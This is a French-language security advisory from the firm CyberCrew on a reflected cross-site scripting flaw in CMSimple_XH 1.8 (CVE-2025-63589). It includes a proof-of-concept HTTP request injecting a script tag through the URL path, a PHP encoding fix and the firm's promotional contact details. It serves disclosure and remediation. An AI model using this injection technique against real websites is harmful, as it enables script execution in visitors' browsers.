
Preuve de concept XSS réfléchi pour CMSimple_XH 1.8 avec injection de script non authentifiée via des segments de chemin non assainis, incluant le score CVSS 6.1 et un exemple de correction en PHP.
Découvert : 6 octobre 2025
Produits : CMSimple_XH (CMS open-source à fichiers plats)
Versions concernées : 1.8
CVE : CVE-2025-63589
Authentification requise : aucune (accès non authentifié)
Type d'attaque : Cross-Site Scripting réfléchi (XSS)
Score CVSS v3.1 estimé : AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1 (Moyen)
Le contrôleur frontal de index.php accepte des segments de chemin dynamiques (utilisés pour router vers des templates/pages) et les transmet au rendu des templates. Le code ne nettoie ni n'encode en HTML ces segments de chemin avant de les insérer dans des attributs et dans les href d'ancres. Par conséquent, une URI de requête spécialement conçue contenant des caractères tels que "> et des balises injectées (par ex. <script>...</script>) est réfléchie telle quelle dans la sortie HTML et exécutée par le navigateur.
Les points de réflexion typiques incluent :
action de formulaires (par ex. formulaires de connexion/recherche)href des éléments de navigation/menu<nav class="locator">)Print view, Sitemap, Login, etc.)Étant donné que l'entrée se retrouve dans des contextes d'attributs HTML et dans le contenu des ancres, l'encodage standard des attributs est nécessaire mais absent.
Requête :
POST /cmsimplexh/index.php/gjtqw"><script>alert(1)</script>co2cu HTTP/1.1
Host: 192.168.98.129:8080
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://192.168.98.129:8080
Upgrade-Insecure-Requests: 1
Referer: http://192.168.98.129:8080/cmsimplexh/?Templates/TEMPLATE-overlay_03
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
Content-Length: 32
search=Search...&function=search
Réponse :
La charge utile injectée gjtqw"><script>alert(1)</script>co2cu est réfléchie sans encodage dans les liens de menu, le fil d'Ariane, l'action du formulaire de recherche et les liens du pied de page, ce qui entraîne l'exécution du script lors du rendu de la page.
$safe_segment = rawurlencode($segment); // path-safety
$action = '/cmsimplexh/index.php/' . $safe_segment;
echo '<form action="' . htmlspecialchars($action, ENT_QUOTES, 'UTF-8') . '">';
HttpOnly)N'hésitez pas à nous contacter pour toute question ou demande.
📞 Tél : 03-6853-5823
📧 Mail : [email protected]
| Élément | Détails |
|---|---|
| Nom de l'entreprise | 株式会社CyberCrew |
| Adresse | 東京都千代田区外神田1-18-13 秋葉原ダイビル6階 |
Nous analysons les vulnérabilités de l'organisation sous plusieurs angles et proposons des mesures d'amélioration optimales.
Nous couvrons les tests ciblés, les tests basés sur des scénarios, jusqu'au pentest LLM.
Détection précoce des fuites d'informations confidentielles et intervention rapide.
Évaluation des capacités de défense basée sur des scénarios d'attaque pratiques.
Nous accompagnons la conception en prenant en compte la sécurité dès les premières phases du développement.
🌐 Site officiel : https://www.cybercrew.co.jp
🕒 CyberCrew — Votre partenaire de confiance en sécurité.